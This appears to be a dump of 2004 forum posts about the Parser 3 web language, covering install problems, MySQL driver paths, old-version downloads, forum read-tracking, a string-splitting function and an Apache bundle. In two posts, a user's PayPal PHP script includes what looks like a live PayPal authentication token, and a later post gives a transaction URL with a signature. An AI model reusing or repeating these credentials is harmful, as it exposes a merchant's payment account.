"34680","К сожелению к автору проекта не достучаться. Думал проблема в линуксе. Обновил Parser где стоит freebsd и сам проект. Сразу же вылетает с ошибкой. Не ушто не где нету архива со старыми версиями?"
"34681","Я поставил у себя сервак Дэнвера и спокойно за ним работал, но однажды я\
 обноружил возможность использовать Parser (написано так в документации, на практике\
 пока не проверялось). Так вот, не могли бы вы расказать о том, на сколько полно Денвер потдерживает Parser.\
 P.S. У меня Денвер установлен в полной конфигурациии, со всеми дополнительными библиотеками и апгрейдами.\
\
 Буду рад любому ответу.\
\
И второй вопрос. Работает ли parser на бесплатных серверах, например holm.ru или fatal.ru?"
"34682","там как-раз при неудачи сделать $.distinct[tables] происходит ручное создание хеша таблиц."
"34684","Parser будет полностью работать на Денвере.\
\
Parser будет работать на Holm или Fatal, если только там поддерживается CGI."
"34685","По вашим первым двум вопросам вроде бы доходчиво написано в учебнике.\
\
1. Каталог должен быть WWW. Файлы html и auto.p надо положить в WWW.\
2. Не совсем понял ваш вопрос №2.\
3.[url=\"http://www.parser.ru/f/1/download/utils/test.zip\"]Файл[/url] для тестирования корректности установки парсера.\
Распакуйте его и положите в папку WWW с вашим сайтом (Должно быть: ваш-сайт/www/_test.html). И потом вызовите этот файл: http://ваш-сайт/_test.html\
\
Рекомендую Parser переписать в папку CGI-BIN и создать «обычный» .htaccess:\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
который нужно положить в папку с вашим сайтом\
[b]в этой папке должны быть 2 каталога (CGI-BIN и WWW) и файл .htaccess[/b]"
"34686","Пользовался я поиском нашел только эту подходящию тему. Но  по совету Александр Петросян (PAF) зайти на http://parser.ru/news/ я не нашел ответа на этот вопрос. На все версии довались только на http://www.parser.ru/download/ а не сами прямые ссылки. Или я не правельно понял.?"
"34687","... в строку поиска написать 0005 download и нажать найти...\
\
найденные ссылки возможно придется немного подредактировать взгланув на то, как сейчас называются каталоги.\
\
P.S. мы не даем прямых ссылок, хотя файлы лежат на месте, т.к. не заинтересованы в устновке старых версий парсера."
"34688","я бы хотел в методе создать хеш и таким образом с ним работать:\
1. в конструкторе класса загружаем хеш таблиц (кодом)\
2. в методе, например print рекурсивно выводим этот хеш засовывая таблицы хеша в обычные таблицы.\
например так:\
[code]\
@print[hash_name]\
^if($hash.[$hash_name]){\
		$tbl[$hash.[$hash_name]]\
		^tbl.menu{ ...\
[/code]"
"34689","я не понял чем вам пример не угодил, ибо я не призывал им пользоваться, а предлагал посмотреть как руками создается хеш таблиц."
"34690","да, действительно все то, что мне было нужно. :) Просто сразу не понял в чем там дело. спасибо большое.\
"
"34691","Сорри да плохо я поискал вот нашел ссылки\
Но они все равно не работают\
http://parser.ru/f/1/download/redhat72/parser3_3_0_0007_redhat72_cgi.tar.gz\
http://parser.ru/f/1/download/redhat72/parser3_3_0_0005_redhat72_cgi_xml.tar.gz\
http://parser.ru//f/1/download/redhat72/parser3sql_1_0_0001_redhat72_mysql.tar.gz"
"34692","В процессе работы довольно сложной структуры иногда проскакивают ошибки Invalid opcode 173760768. Вычленить причину появления ее невозможно, т.к. ее появления совершенно нерегулярно и необъяснимо. Чем в принципе оно может быть вызвано?"
"34693","А как доконфигурировать драйвер MySQL, все сделал по инструкции, но дает такую ошибку... http://personart.ru/ - смотрите... Посоветуйте что-нибудь?"
"34694","Задача: Сделать  отоброжение новых сообщений в форуме.....Ну как в   Invision Power Board форумах. Когда туда заходишь если есть новые сообщения то иконка светлая если нету то иконка тусклая.\
\
Вот задумался я как оптимальнее всего это реализовать.\
\
1. Запомнить дату выхода пользователя. И после того как он зашел проверять, если есть обновление в разделе/топике после выхода юзера, то подсвечивать. Если нет, то нет.\
Но тут возникает такие моменты. Если раздел/топик был отредактирован в тот момент когда юзер был в форуме, то он ничего незаметит + появляеться проблема того как помечать тему прочитаной.\
\
2. Первый же способ который приходит на ум такой. Сделать табличку в мюскуеле\
\
[code]id_user id_tema last_prosmotr[/code]\
\
И использовать ее. Тут все ясно, понятно и просто. Можно реализовать все. Но когда 2000 юзеров и 2000 тем. Табличка начинает принимать угрожающие размеры :(\
\
\
Подскажите как сделать правильнее. Кто уже делал подобное......"
"34696","1ое и самое главное тем не менее....\
\
Куки чистят! многие.\
\
2ое...\
\
Что туда записывать?\
\
дату выхода?....уже писал насчет этого. Разницы нет. В куку или в мюскуель.\
\
А какую дату ещо туда писать.....?"
"34697","last_prosmotr - это просто зе бест, вы не пробовали французский с японским мешать? :)) \
\
по поводу форума:\
вы же регестрируете посетителей, так пусть в таблице с юзерами будет дата последенего сеанса..."
"34699","[quot]по поводу форума:\
вы же регестрируете посетителей, так пусть в таблице с юзерами будет дата последенего сеанса...[/quot]\
\
Читай внимательнее.\
1. Запомнить дату выхода пользователя. И после того как он зашел проверять, если есть обновление в разделе/топике после выхода юзера, то подсвечивать. Если нет, то нет.\
Но тут возникает такие моменты. Если раздел/топик был отредактирован в тот момент когда юзер был в форуме, то он ничего незаметит + появляеться проблема того как помечать тему прочитаной.\
\
Добавлю по последней фразе.\
\
Ну пришел человек. Проверил я дату последнего сеанса. Вот в 10 темах произошли изменения. Ну человек прочитал одну из них. т.е. там он уже все видел а в след 9 еще нет. Дак вот как отметить."
"34700","Ищите.\
Однако к единому мнению так и не пришли.\
Всё зависит от конкретного положения дел с количеством юзеров и с необходимым функционалом."
"34701","Только к вашей табличке \"тема-юзер-дата_последнего_просмотра\" добавляется еще одна \"форум-юзер-дата_последнего_нажатия_кнопки_'Отметить все как прочитанное'\". Первую табличку можно периодически чистить, хотя по большому счету она не так много места занимает - там же одни числа."
"34702","Программка на парсере обрщается к MySQL. Вернее обращалась. Сейчас выдает страницу с Unhandled Exception. В логах сервера ничего нет. В логах парсера:\
\
[Mon Nov 15 19:10:25 2004] /select-letter.html?letter=А: /home/noffdie/public_html/associate/auto.p(80:10): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>] \
\
Это как? Переписывать библиотеку заново пробовал. В папке расположение такое:\
CGI-BIN/parser3.cgi\
CGI-BIN/LIB/libmysqlclient.so\
\
Есть идеи?"
"34703","Не очень понял что делать. По форуму поискал, но там все смутно описано. Такое ощущение, что чего-то не хватает в самой операционной системе. Но что? Что такое Общедоступный объект? И почему его вдруг не оказалось в системе?\
\
Короче, прошу какую-нибудь зацепку. С чего начать поиски решения этой проблемы?"
"34704","А в денвере самый обычный и самый нормальный парсер. А подробнее на DKlab смотреть надо или в changelog-е...."
"34705","Быть может не парсером единым? Использовать псевдоклассы A:link A:visited и про них прогуглить немного - быть может поможет!"
"34706","Есть текстовая таблица с одним столбцом.\
Каждая строка определяет какою то настройку в Сайте.\
Хотелось бы вывести каждую строчку отдельно, и присвоить её к  переменной-настройки.\
[code]$config[^table::load[nameless;/cfg/config.cfg]]\
# Язык # Тема оформления # Префикс\
$lang[$config.0]\
$theme[$config.1]\
$prefix[$config.2][/code]\
Данный код может опроделить только $lang[$config.0].."
"34707","Не, ну народ!!! У кого-нибудь есть какие-либо идеи насчет:\
\
[Mon Nov 15 19:10:25 2004] /select-letter.html?letter=А: /home/noffdie/public_html/associate/auto.p(80:10): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>] \
\
???"
"34708","А почему бы не хранить настройки сразу в виде хэша?\
\
[code]\
$GLOB[\
	$.lang[ru]\
	$.theme[base]\
	$.prefix[???]\
]\
[/code]\
\
\
А ваш код насколько я понимаю будет работать только если у вас данные идут одной строкой, но многими колонками, т.е. при горизонтальной таблице. Можно использовать поиск в таблице (см. [url=\"http://www.parser.ru/docs/lang/tablelocate.htm\"]документацию[/url]) и смещение указателя текущей строки (см. [url=\"http://www.parser.ru/docs/lang/tableline.htm\"]документацию[/url]). Но лучше и значительно проще данные в конфиге хранить сразу хэшем, и грузить конфиг не как таблицу, а как модуль:\
\
[code]\
@USE[]\
/config.cfg\
\
# или:\
^use[/config.cfg]\
[/code]"
"34709","Попробуйте так:\
\
CGI-BIN/parser3.cgi\
CGI-BIN/[b]lib[/b]/libmysqlclient.so\
\
(маленькими буквами)"
"34710","А еще кроме кук часто чистят темпонари интернет файлз и хистори, соответственно те линки, которые были визитед, вдруг могут стать не-визитед... ;)"
"34711","...две тысячи пользователей и две тысячи тем — не так уж и много. Взять к примеру этот форум. :)"
"34712","Парсер будет работать только в том случае, если разрешено использование своих cgi-скриптов, написанных не на perl. Вот так вот. :)"
"34713","А не проще ли взять исходник того же Инвижена и посмтреть как это реализовано там?\
Если есть Zend Studio, то это должно вообще просто пройти."
"34714","Да воообще-то там маленькими буквами и написано. Это я большими для наглядности сделал."
"34715","Все, наконец то, Парсер заработал! На первом уроке все просто! Только как сделать меню [b]ВЕРТИКАЛЬНОЕ а не горизонтальное как в прмимере? [/b] На втором уроке написано:\
[quot]Определение функций body_main и body_additional, также как и в случае с greeting вставим в страницы: \
\
@body_additional[] \
Главная страница сайта \
\
@body_main[] \
Основное содержание \
 [/quot]\
\
Ну я и пишу например:\
\
[code]\
<html>\
<head>\
<title>первая</title>\
</head>\
<body>\
^main\
@greeting[] \
Добро пожаловать! \
\
@body_additional[] \
Главная страница сайта \
\
@body_main[] \
Основное содержание \
\
\
\
</body>\
</html>\
[/code]\
\
А он выводит кокую то ошибку\
А точнее вот что\
[code] Unhandled Exception (Debug)\
z:/home/www.27.ru/www/index.html(7:6): parse error, expecting `'['' or `'{'' or `'(''\
exception.type=parser.compile  [/code]\
\
[color=\"#ff0000\"]ТАК ЧТО ЭТО? СЕ ПЕРЕБРАЛ![/color]"
"34717","Простите, не то написал!\
Я пишу все правильно ( [code]^main[][/code]\
И ошибку он у меня выводит не ту а вот что:\
\
Unhandled Exception (Debug)\
z:/home/www.27.ru/www/index.html(8:1): parse error, expecting `$'\
exception.type=parser.compile \
\
Черт знает что! Вроде бы белаю все как написано, но... видимо не совсем так..."
"34718","или от динамически меняющегося чего-то зависит?\
\
мы такого никогда не видели, это значит, что ошибка действительно очень редкая.\
\
недавно была найдена ошибка в libxml, которая [b]чрезвычайно редко[/b] проявлялась в неправильной работе с памятью после memory:compact.\
\
попробуйте убрать memory:compact, если ошибки пропадут, то в CVS|HEAD уже лежит версия, в которой это исправлено(worked around, actually).\
\
если нет, что-ж, надо пытаться выявить в чистом виде, прислать мне bug.zip."
"34719","где определяется табличка драйверов."
"34720","и проблема уйдёт.\
\
почему чего-то не хватает в системе вопрос для вашего системного администратора, он знает."
"34722","Жуть как нелублю смотреть чужие исходники.\
\
Лучше допереть до всего самому.....ну или почти...\
\
:)"
"34723","@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]"
"34726","посмотрите внимательно, что именно должно быть в index.html а что в auto.p, и сделайте так как написано. Не надо сразу валить весь код в кучу, эксперементировать будете потом, когда поймёте что там к чему."
"34727","вам лениво смотреть на пути, править их и скачивать, поэтому у вас остается вариант ждать пока кто-нить поделится/сделает это за вас."
"34728","[code]\
mysql $sqldriversdir/libparser3mysql.so libmysqlclient.so\
[/code]\
видите, что libmysqlclient.so упоминается безо всякого пути?\
это значит, что parser попросит систему загрузить эту библиотеку, без указания пути, расчитывая, что система знает, где её брать.\
\
ваша система не знает, где её брать.\
вывод: спросите своего системного администратора, где на машине лежит файл libmysqlclient.so, и впишите полный путь к нему в ваш auto.p"
"34730","значит запоминайте дату логаута... и не надо расчитывать на всех поголовно, у некоторых и js не поддерживается и куки не записываются и окна блокируются и браузеры старые..."
"34732","Специально для Петросяна - смотрел доки, многому научился, и хочу больше знать!!!\
Пытаюсь запустить по методу указанному Александром в форуме Пхп скриптик(abc.html, abc.php - [code]$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName]][/code])\
код следующего содержания, выдает пустую страницу. В Пхп я 0, в Парсере Петросян скажет наверное тоже, но код нужен мне для обмена информацией с платежной системой. С кодом все в порядке, а вот с моими познаниями нет!\
\
[code]\
<?php\
// read the post from PayPal system and add 'cmd'\
$req = 'cmd=_notify-synch';\
$tx_token = $_GET['tx'];\
$auth_token = \"3TdlNofIR2T3Hk8XqGaqTu5KKlbDhGfNfPG5pRvidYyu4R6UpBCO7GZlUfC\";\
$req .= \"&tx=$tx_token&at=$auth_token\";\
// post back to PayPal system to validate\
$header .= \"POST /cgi-bin/webscr HTTP/1.0\\r\\n\";\
$header .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\
$header .= \"Content-Length: \" . strlen($req) . \"\\r\\n\\r\\n\";\
$fp = fsockopen ('www.paypal.com', 80, $errno, $errstr, 30);\
// If possible, securely post back to paypal using HTTPS\
// Your PHP server will need to be SSL enabled\
// $fp = fsockopen ('ssl://www.paypal.com', 443, $errno, $errstr, 30);\
if (!$fp) {\
// HTTP ERROR\
} else {\
fputs ($fp, $header . $req);\
// read the body data \
$res = '';\
$headerdone = false;\
while (!feof($fp)) {\
$line = fgets ($fp, 1024);\
if (strcmp($line, \"\\r\\n\") == 0) {\
// read the header\
$headerdone = true;\
}\
else if ($headerdone)\
{\
// header has been read. now read the contents\
$res .= $line;\
}\
}\
// parse the data\
$lines = explode(\"\\n\", $res);\
$keyarray = array();\
if (strcmp ($lines[0], \"SUCCESS\") == 0) {\
for ($i=1; $i<count($lines);$i++){\
list($key,$val) = explode(\"=\", $lines[$i]);\
$keyarray[urldecode($key)] = urldecode($val);\
}\
// check the payment_status is Completed\
// check that txn_id has not been previously processed\
// check that receiver_email is your Primary PayPal email\
// check that payment_amount/payment_currency are correct\
// process payment\
$firstname = $keyarray['first_name'];\
$lastname = $keyarray['last_name'];\
$itemname = $keyarray['item_name'];\
$amount = $keyarray['payment_gross'];\
echo (\"<p><h3>Thank you for your purchase!</h3></p>\");\
echo (\"<b>Payment Details</b><br>\\n\");\
echo (\"<li>Name: $firstname $lastname</li>\\n\");\
echo (\"<li>Item: $itemname</li>\\n\");\
echo (\"<li>Amount: $amount</li>\\n\");\
echo (\"\");\
}\
else if (strcmp ($lines[0], \"FAIL\") == 0) {\
echo (\"Bla-bla\");\
}\
}\
fclose ($fp);?>\
[/code]"
"34735","нельзя вот так просто брать и вкладывать определения методов (функций) в текст страницы, это работать не будет.\
\
Подробнее есть в [url=\"http://www.parser.ru/forum/?id=7100\"]форуме[/url] и в [url=\"http://www.parser.ru/docs/lang/mainclass.htm\"]документации[/url]."
"34736","Нет надо просто посоветовать заменить redhat72 заменить просто redhat.\
\
http://www.parser.ru/f/1/download/redhat/parser3_3_0_0005_redhat72_cgi_xml.tar.gz  Скачалось\
http://www.parser.ru/f/1/download/redhat/parser3_3_0_0005_redhat72_mysql.tar.gz Не скачалось\
http://www.parser.ru/forum/?id=13548\
Вот по этой ссылки сказана про файл\
http://www.parser.ru/f/1/download/redhat/parser3sql_1_0_0001_redhat72_mysql.tar.gz\
Вопрос эта версия 0005 или 0001??? \
http://www.parser.ru/f/1/download/redhat/parser3sql_1_0_0005_redhat72_mysql.tar.gz Не работает"
"34738","Я перепробовал все варианты, которые в доке. Знаю, что может быть не задал какой-нибудь параметр или недосмотр. Все ошибаются, в чем проблема со мной?\
Я пытался переклепать пхп код на парсер - Александр меня отсылает меня к докам, пытаюсь запустить готовый скрипт - опять к докам - да я уже их облазил перелазил, или у вас косноязычее или я совсем читать не умею. Вот вамб цепляйтесь к словам сколько хотите, а форум для того и создан, чтобы помагать."
"34741","В своё время тоже искал 3.0.0005 под Linux. Сегодня откопал свой старый постинг (http://www.parser.ru/forum/?id=13541) и оказалось, что ссылка которую мне тогда любезно предоставил Sumo, теперь не работает. Так как-же всё-таки искать старые версии?"
"34742","Вписал в auto.p строку\
mysql $sqldriversdir/libparser3mysql.so /usr/local/lib/mysql/libmysqlclient.so\
\
Все осталось по-прежнему."
"34744","abc.php отрабатывает, если к нему напрямки, броузером обращаться?"
"34745","работает"
"34746","приведите текст ошибки полностью."
"34748","У меня:\
$file[^file::exec[trial.php]]\
$file.text\
\
Попробовал:\
$file[^file::load[text;trial.php]]\
$file.text\
Соответственно - сам скрипт"
"34749","вы получили в переменной $file результат выполнения HTTP запроса.\
но... никуда не вывели его.\
\
выводить так:\
$file.text\
\
а если вы доверяете результату работы скрипта, что там будет правильный html, то так:\
\
^untaint{$file.text}"
"34750","auto.p -\
[code]\
@usePHP[fileName][path;file]\
\
#вычисляем путь, откуда загружен текущий документ\
\
$path[$request:uri]\
\
$path[^path.match[/.*?^$][]{}]\
\
#запрашиваем по HTTP внешний документ с нашего же сервера\
\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName]]\
\
[/code]\
\
index.html\
[code]\
^usePHP[$trial.php]\
^untaint{$file.text}\
[/code]\
\
In log file:\
[quot]\
/auto.p(255:14): '404' invalid HTTP response status [http.status]\
[/quot]"
"34752","Я уже не говорю, что в Вашем варианте результат записывается в локальную переменную $file и никуда не выводится."
"34753","/confirmation/?tx=5ER167534S272811N&st=Completed&amt=5.00&cc=USD&cm=&sig=iL3OlTh6rHm3yNE8kjFv/lWqngrdFrT9QBr/np6ZGWTC/2LhpZIZ0I8tkzalJG8GBdpcfDUcD4R%2BirCbPv1F4XQ785FcGReJyAmzinxGmuInHnj/dDuZI2TV9YIz/7NlVZKmckTX7UEdbVYvFhn7PEcqAhaeZ7CwR%2BhEHAPhKao%3D: /home/devushka/public_html/confirmation/index.html(10:14): '404' invalid HTTP response status [http.status]"
"34758","Я надеюсь вы додумались вынести все в отдельный файл и убрать лишнее?"
"34759","[b]trial.php[/b]\
[code]\
<?php\
// read the post from PayPal system and add 'cmd'\
$req = 'cmd=_notify-synch';\
$tx_token = $_GET['tx'];\
$auth_token = \"3TdlNofIR2T3Hk8XqGaqTu5KKlbDhGfNfPG5pRvidYyu4R6UpBCO7GZlUfC\";\
$req .= \"&tx=$tx_token&at=$auth_token\";\
// post back to PayPal system to validate\
$header .= \"POST /cgi-bin/webscr HTTP/1.0\\r\\n\";\
$header .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\
$header .= \"Content-Length: \" . strlen($req) . \"\\r\\n\\r\\n\";\
$fp = fsockopen ('www.sandbox.paypal.com', 80, $errno, $errstr, 30);\
// If possible, securely post back to paypal using HTTPS\
// Your PHP server will need to be SSL enabled\
// $fp = fsockopen ('ssl://www.paypal.com', 443, $errno, $errstr, 30);\
if (!$fp) {\
// HTTP ERROR\
} else {\
fputs ($fp, $header . $req);\
// read the body data \
$res = '';\
$headerdone = false;\
while (!feof($fp)) {\
$line = fgets ($fp, 1024);\
if (strcmp($line, \"\\r\\n\") == 0) {\
// read the header\
$headerdone = true;\
}\
else if ($headerdone)\
{\
// header has been read. now read the contents\
$res .= $line;\
}\
}\
// parse the data\
$lines = explode(\"\\n\", $res);\
$keyarray = array();\
if (strcmp ($lines[0], \"SUCCESS\") == 0) {\
for ($i=1; $i<count($lines);$i++){\
list($key,$val) = explode(\"=\", $lines[$i]);\
$keyarray[urldecode($key)] = urldecode($val);\
}\
// check the payment_status is Completed\
// check that txn_id has not been previously processed\
// check that receiver_email is your Primary PayPal email\
// check that payment_amount/payment_currency are correct\
// process payment\
$firstname = $keyarray['first_name'];\
$lastname = $keyarray['last_name'];\
$itemname = $keyarray['item_name'];\
$amount = $keyarray['payment_gross'];\
echo (\"<p><h3>Thank you for your purchase!</h3></p>\");\
echo (\"<b>Payment Details</b><br>\\n\");\
echo (\"<li>Name: $firstname $lastname</li>\\n\");\
echo (\"<li>Item: $itemname</li>\\n\");\
echo (\"<li>Amount: $amount</li>\\n\");\
echo (\"\");\
}\
else if (strcmp ($lines[0], \"FAIL\") == 0) {\
echo (\"Bla-bla\");\
}\
}\
fclose ($fp);?>\
[/code]\
\
[b]index.html[/b]\
[code]\
@greeting[] \
Transaction Confirmation Page\
\
@body_additional[] \
Confirmation\
\
\
@body_main[]\
\
$file[^file::load[text;http://www.devushka.net/trial.php]]\
\
^untaint{$file.text}\
[/code]"
"34760","Т.е. с точки зрения веб сервера файла trial.php на вашем сервере нет. Когда добъетесь отображения в браузере этой страницы - продолжим."
"34765","Насколько я понял, можно скомпилировать под FreeBSD 5 (чтобы использовалась libc.5). Правда непонятно что конкретно делать. Я никогда не компилировал ничего.\
\
Еще не понятно что есть CVS. Пока дошло, что это то место, где хранятся чуть ли не все версии Парсера. Достаточно ли файла, что я скачал из раздела Исходные коды для сборки под FreeBSD5? Или обязательно выкачивать из CVS?\
\
И еще вопрос, в VS есть установки под какую версию операционной системы компилировать или еще что-то нужно? Иными словами как мне скомпилировать именно под версию 5.2.1?"
"34766","http://start3.proc.ru/inParser/devu.html\
\
Скрипт из двух строчек:\
[code]\
$file[^file::load[text;http://www.devushka.net/confirmation/trial.php]]\
$file.text\
[/code]"
"34769","Уважаемые форумчане, если будет время и желание - потестируйте, пожалуйста, новую версию. Главное изменение - добавился Perl и mod_perl. Как и прежде, админских прав не требует, ставится в любую папку, виртуальных дисков не монтирует, PATH не загаживает, юниксоподобную файловую структуру не имитирует в силу ненужности последнего.\
\
Инсталлятор научился проверять наличие VB runtime перед установкой + добавились ещё приятности.\
\
В todo остался SMTP-сервер на Visual Basic вместо кривоватого варианта на Perl (каркас готов, почту принимать он умеет - остались мелочи и ликвидирование нетривиальностей при приёме почты сразу от нескольких клиентов).\
\
Брать тут - http://www.bougakov.com/devel/download/apache_swissknife_setup.exe (11.7 Mb). Пакет похудеет, когда я прорежу список модулей Perl - сейчас там много ненужного, даже после отрезания Tk. Будет и вариант без Perl для тех, кому тот не нужен.\
\
Пожалуйста, потестируйте и поделитесь впечатлениями в этой ветке."
"34770","на сколько я понял, реальный адрес документа [i]www.devushka.net/confirmation/trial.php[/i], вы же, по каким-то никому не понятным причинам, пытаетесь достучаться до него по адресу [i]www.devushka.net/trial.php[/i], совершенно справедливо отгребая при этом '404' invalid HTTP response status [http.status], и ещё чегото-там возмущаетесь..."
"34771","Не знаю как проверить, посмотрел в cgi-bin везде файлы Парсер 3"
"34772","Вы вобще читаете, что Вам отвечают или сразу начинаете писать? Надоедает это..."
"34775","* Веб-сервер Apache 1.3.27\
 * Parser 3.1.3 с документацией\
 * PHP 4.3 с библиотекой GD 1.6.2\
 * ActiveState Perl 5.6.1 Build 635 \
 * Модуль mod_perl 1.27 для Apache\
 * Сервер баз данных MySQL 4.0.16\
 * Программа для управления БД MySQL Front 2.5\
 * Эмулятор SMTP-сервера \
\
+ удобная программулька в Tray, с помощью которой можно легко управлять всем этим зверинцем.\
\
Единственный вопрос, на который вы отвечаете при установке - это \"куда ставить будем\"? После установки всё работает, даже приснопамятный урок с ^navigation[]"
"34778","[code]\
@main[]\
$result[^string_drobilka[Это строка которую будем дробить на более короткие строки длинной по двадцать символов, надеюсь вам пригодится. Слова с большим количеством символов дробиться небудут, а будут занимать строку целиком. например лфдыорадфоыврафлдоыравылфдравдфыолавр. И ещё, чуть не забыл, когда будете считать символы незабывайте считать перевод строки как один символ;20;<br/>\
]]\
\
# разбиение строки на строки с определённым количеством символов\
# Вызывать следующим образом\
# ^string_drobilka[строка которую требуется разбить на строки;требуемое количество символов в строке;символ перевода строки по умолчанию  энтер]\
@string_drobilka[str;symvols_in_string;perevod_stroki]\
\
^if(!def $perevod_stroki){$perevod_stroki[\
]}\
\
# разбираем полученную строку на слова\
$parts[^str.split[ ;v]]\
\
# Обнуляем счётчик\
$counter(0)\
\
# Очищаем строку\
$out_string\
\
# перебираем полученную таблицу\
^parts.menu{\
\
# Сохраняем строку в переменную чтобы можно было посчитать количество символов в переменной\
	$str_tmp[$parts.piece]\
\
# Считаем количество символов в переменной\
	$num_symvols(^str_tmp.length[])\
\
# Считаем количество символов в строке где 1 - пробел\
	$counter($counter+(1+$num_symvols))\
\
# Если количество символов не болше определённого то добавляем слово к строке, если больше то обнуляем счётчик прибавляем к нему количество символов последнего слова, ставим перевод строки и вставляем слово\
	^if($counter > $symvols_in_string){\
		^if($counter == ($num_symvols+1)){\
# Вставляем слово несмотря на то что оно больше заданного лимита, а заним перевод строки\
			$out_string[${out_string}$parts.piece^if(def $out_string){$perevod_stroki}]\
# Обнуляем счётчик тк начинаем новую строку\
			$counter[0]\
		}{\
# Вставляем перевод стоки, а затем слово\
			$out_string[${out_string}^if(def $out_string){$perevod_stroki}$parts.piece]\
# Меняем значение счётчика тк начинаем новую строку\
			$counter($num_symvols+1)\
		}\
	}{\
# Вставляем пробел и слово\
		$out_string[$out_string^if(def $out_string){ }$parts.piece]\
	}\
}\
\
# Выводим результат\
$result[$out_string]\
[/code]"
"34780","Там вон и perl 5.6 стоит, а не 5.8...\
\
Принципиальной разницы нет, разве что вы гонитесь за самыми-самыми свежими возможностями. Но всё равно у вашего хостера этой версии не будет - так что применить эти прелести вживую вы не сможете...\
\
Впрочем, если есть желание - заменю..."
"34781","8mb (размер минимального набора файлов) у 4.1 против 3,7 у 4.0\
\
Кабанеет мускуль, кабанеет, жирком обрастает... Это при том, что новенький бесплатный майкрософтовский SQL Server 2005 desktop edition весит 36 метров.."
"34782","тогда не надо, никто не будет скачивать...\
\
вот лучше так подкрутить, чтобы при повторном клике на иконке в трее табличка пряталась-бы обратно, как в Миранде сделано (типа нашел к чему прицепиться :). А так всё круто, но пожалуй апгредится не будем, подождём версию с новым Парсером, вроде обещался вскорости появиться..."
"34783","Ваша функция выдает строки длиной $symbols_in_string - 1.\
\
Возможен еще и такой вариант:\
[code]\
@wsplit[aStr;aLen;aSep][lParts;i]\
  ^if(!def $aSep){$aSep[^taint[^#0A]]}\
  $i(0)\
  $lParts[^aStr.match[(.{^eval($aLen-1)}[^^\\s]?.*?)\\s+][gi]]\
  ^lParts.menu{\
    $result[${result}${lParts.1}$aSep]\
    ^i.inc(^lParts.1.length[] + 1)\
  }\
  $result[${result}^aStr.right(^aStr.length[] - $i)] \
[/code]\
\
p.s. Замеры показали, что мой код в пять раз быстрее. :) Хотя в тестовом примере речь идет о тысячных и деститысячных долях секунды."
"34784","Добавить недостающее (вот только что?) в FreeBSD5?\
\
Если переустановить FreeBSD49, то там не будет путанницы в подверсиях ОС?\
\
Переименовать файлы?"
"34785","Студии TeleType (www.teletype.ru) нужен веб-программист на полный рабочий день на полную рабочую неделю.\
\
  Обязательно знание Parser 3, желательно знание Parser 2 (работать с\
  ним придется).\
  Обязателен опыт создания и поддержки динамических сайтов, основанных\
  на БД, apache+mod_rewrite, системе администрирования.\
  Крайне желателен опыт работы в Linux/FreeBSD (настройка, установка\
  Apache, MySQL, sendmail и т. п.)\
  Очень желательно знание Perl.\
  Очень желательно знание XML, XSLT.\
\
  По-английски надо уметь прочитать умную документацию и правильно\
  назвать раздел сайта.\
\
  По-русски надо уметь грамотно общаться с коллегами, то есть все\
  остальное.\
\
  Расскажите о себе и о том, что вы делали на anti@teletype.ru"
"34786","Там написано знак перевода строки тоже считается :)"
"34787","У меня если есть возможность уложиться в n-ое количество символов всё укладывается, и не укладывается только в случае если в слове более n символов"
"34788","... особенно, если учитывать, что переносом строки может являтся что угодно [например <br />]. Тем более, что задача \"перевода строки\" перейти на новую строку и значащим симвыолом он не является."
"34790","Возьмите мой текст, и вы узнаете что увас в первой строке 24 символа а у меня 19, а более 20 символов только в одной строке - вы её заметите :)"
"34791","к томуже плюс минус один символ как правило ничего не решает\
IMHO"
"34792","Прощу написать как надо! Или может у вам скину на мыло мою работу и проверите все ошибки?"
"34794","И должно быть 24, поскольку двадцатым символом является первая буква слова \"будем\"."
"34795","... что \"функция разбивает строки на куски не менее 20 символов\", то она не должна формировать строки в 19 символов. Если уж следовать Вашей логике до конца, то если задать в качестве разделителя \"<br />\" выходные строки должны быть по 14 символов.\
\
На самом деле разговор идет не о длине - это вторично. Разговор идет о разных реализациях. Я привел пример решения задачи другим способом - через регулярные выражения."
"34796","[Tue Nov 16 18:45:38 2004] /select-letter.html?letter=А: /home/noffdie/public_html/associate/auto.p(80:10): './lib/libparser3mysql.so' driver failed to initialize client library '/usr/local/lib/mysql/libmysqlclient.so', can not open the dynamic link module [<no type>]"
"34797","Потестил. Система: win2000, браузер по умолчанию - firefox\
Из контрольной панели 127.0.0.1 не открывается. При попытке запустить эмулятор SMTP - все падает с ошибкой Runtime error 5? Invalid call or argument. После чего - процесс апача нужно убивать руками. И ссылка на сайт проекта - 404 ошибка.\
Во всем остальном - работает замечательно. \
Хотелось бы предложить:\
1. Сделать в дистрибутиве выбор компонент для установки. Ну на фига, например, PHP, для новичков, которые должны качать сей дистрибутив ? Был бы хоть PHP5 - куда ни шло :).\
2. Опционально вместо ActivePerl ставить просто Perl без библиотек. Для устранения некоторых отсутствующих фич в парсере этого достаточно, а зачем нужна куча перловых модулей на ~40 мегабайт вместо - не ясно. Хотя кому-то надо, наверно.\
3. Вынести виртуальные хосты в Include conf/vhosts.conf и в трей-менеджер добавить менюшку для настройки. Очень удобно, когда нужно кучкой локальных проектов рулить, которые меняются часто.\
